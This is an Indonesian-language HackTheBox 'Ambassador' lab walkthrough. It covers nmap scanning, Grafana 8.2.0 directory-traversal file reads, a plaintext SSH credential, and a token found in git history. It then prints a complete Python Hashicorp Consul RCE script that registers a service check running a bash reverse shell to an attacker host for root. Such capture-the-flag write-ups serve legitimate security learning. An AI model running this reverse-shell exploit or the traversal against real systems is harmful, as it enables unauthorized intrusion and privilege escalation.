skip to content
Yupy Syntax

HackTheBox - Ambassador

/ 5 min read

Last Updated:

HackTheBox Ambassador

Information Gathering

Scanning dengan nmap dan mendapatkan hasil seperti dibawah:

Terminal window
nmap -sC -sV 10.10.11.183
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 18:05 PST
Nmap scan report for 10.10.11.183
Host is up (0.031s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
| 256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_ 256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
3000/tcp open ppp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Tue, 10 Jan 2023 02:05:50 GMT
| Content-Length: 29
| href="/login">Found</a>.
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Tue, 10 Jan 2023 02:05:20 GMT
| Content-Length: 29
| href="/login">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Tue, 10 Jan 2023 02:05:25 GMT
|_ Content-Length: 0
3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 39
| Capabilities flags: 65535
| Some Capabilities: Speaks41ProtocolOld, FoundRows, ODBCClient, LongPassword, Support41Auth, SupportsCompression, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, ConnectWithDatabase, SwitchToSSLAfterHandshake, SupportsTransactions, LongColumnFlag, IgnoreSigpipes, Speaks41ProtocolNew, InteractiveClient, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: p"%s::#\x01/I\x1CE#\x05`}d\x1E2
|_ Auth Plugin Name: caching_sha2_password
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.93%I=7%D=1/9%Time=63BCC7DE%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(GetRequest,174,"HTTP/1\.0\x20302\x20Found\r\nCache-Control
SF::\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nExpire
SF:s:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\r\nSet-Cookie:\x
SF:20redirect_to=%2F;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content
SF:-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protecti
SF:on:\x201;\x20mode=block\r\nDate:\x20Tue,\x2010\x20Jan\x202023\x2002:05:
SF:20\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</
SF:a>\.\n\n")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request")%r(HTTPOptions,12E,"HTTP/1\.0\x20302\x20Found\r\nCach
SF:e-Control:\x20no-cache\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPrag
SF:ma:\x20no-cache\r\nSet-Cookie:\x20redirect_to=%2F;\x20Path=/;\x20HttpOn
SF:ly;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Op
SF:tions:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Tue
SF:,\x2010\x20Jan\x202023\x2002:05:25\x20GMT\r\nContent-Length:\x200\r\n\r
SF:\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20
SF:close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessi
SF:onReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request")%r(FourOhFourRequest,1A1,"HTTP/1\.0\x20302\x20Found\r
SF:\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=
SF:utf-8\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\r
SF:\nSet-Cookie:\x20redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity\.txt%
SF:252ebak;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Opti
SF:ons:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protection:\x201;\
SF:x20mode=block\r\nDate:\x20Tue,\x2010\x20Jan\x202023\x2002:05:50\x20GMT\
SF:r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.99 seconds

Scanning dengan Nikto dan mendapatkan hasil seperti dibawah: alt text

Fuzzing directory dengan berbagai macam tools dan mendapatkan hasil seperti dibawah: alt text alt text

Melihat port 3000 kita disajikan halaman login yang menjalankan grafana dengan versi 8.2.0, rentan terhadap Traversal Direktori dan Arbitrary File Read ke file lokal. Jalur rentan grafana_url/public/plugins/<'plugin-id'> di mana <'plugin id'> adalah id plugin untuk setiap plugin yang diinstal.

Setiap instance grafana dilengkapi dengan plugin yang sudah diinstal sebelumnya seperti plugin Prometheus atau plugin MySQL sehingga dengan beberapa URL ini rentan untuk setiap instance. alt text

Kami dapat mencapai layar masuk dan mengetahui versi grafana, dalam kasus kami menggunakan port 3000 “(Versi v8.2.0 (d7f71e9eae)” alt text

Setelah kita dapat melihat version Grafana kita mencari kerentanan apa yang ada pada Grafana version 8.2.0 ini. Disini kita menemupakan hasil browsing, kita menemukan sebuah Artikel dan Exploit. Untuk Artikel berisi tentang kerentanan ini vk9-sec.com dan Exploit-DB Grafana 8.3.0 alt text

Post Exploitation

Disini kita menggunakan payload dari Exploit-DB dan membaca langsung directory traversal menggunakan /etc/passwd kita dapat melihat secara langsung yang ada pada /etc/passwd.

Disini kita melihat isi file dari /etc/Grafana/Grafana ini. dan kita mendapatkan informasi sensitive untuk login pada Grafana. alt text alt text

Selanjutnya kita mencari dengan secara manual dengan mengeksekusi menggunakan curl untuk membaca file database dan menyimpannya secara lokal. alt text alt text

Setelah kita mendownload databases tersebut bila kita cari kita disini menemukan informasi sensitive lagi informasi sensitive ini dapat kita gunakan untuk login pada Mysql. alt text alt text

Setelah login pada Mysql dengan password yang di dapat dari databases yang didownload tadi. Disini bila kita membuka databases whackywidget dan melihat tables tersebut muncul users bila kita buka dengan select * from users, disini kita dapat melihat informasi sensitive lagi. alt text alt text alt text

Disini kita mencoba login pada SSH dengan user Developer dan Password yang telah di decode dari base64

Terminal window
developer:anEnglishManInNewYork027468
alt text

Disini kita mencoba mencari informasi sensitive apa yang ada pada server ini dan apakah kita bisa menaikan user biasa ke user root. Setelah mencarinya kita mendapatkan directory /opt/my-app/* . directory ini kemungkinan ada informasi sensitive. alt text

Untuk melihat informasi sensitive kita menggunakan command “git show” disini memunculkan informasi token API. alt text

Privileges Escalation

Setelah mencari – cari ternyata ada kerentanan yang terdapat pada consul service ini yang bisa memuat langsung dengan Remote Code Execution dengan cara menjalankan Token API. alt text

Berikut ini saya dapatkan source code yang bisa user privileges, dengan source code ini kita bisa menaikan user biasa ke user root dengan cara backconnect. Hashicorp Consul RCE via API

#!/usr/bin/python3
import requests, argparse
parser = argparse.ArgumentParser()
parser.add_argument("--rhost", "-rh", type=str, help="remote host (if not specified, 127.0.0.1 will be used)", default="127.0.0.1")
parser.add_argument("--rport", "-rp", type=str, help="remote port (if not specified, 8500 will be used)", default="8500")
parser.add_argument("--lhost", "-lh", type=str, help="local host", required=True)
parser.add_argument("--lport", "-lp", type=str, help="local port", required=True)
parser.add_argument("--token", "-tk", type=str, help="acl token", required=True)
parser.add_argument("--ssl", "-s", action="store_true", help="use ssl (https) in the request")
args = parser.parse_args()
if args.ssl:
target = f"https://{args.rhost}:{args.rport}/v1/agent/service/register"
else:
target = f"http://{args.rhost}:{args.rport}/v1/agent/service/register"
headers = {"X-Consul-Token": f"{args.token}"}
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}
try:
requests.put(target, headers=headers, json=json, verify=False)
print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
except:
print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")
exit(1)

Dengan menjalankan source code tadi yang berbentuk file python dengan rhosts target dan lhost ip attacker kita bisa langsung backconnect. alt text

Dan kita bisa langsung mendapatkan user Root. alt text

Submit Flag in HackTheBox

alt text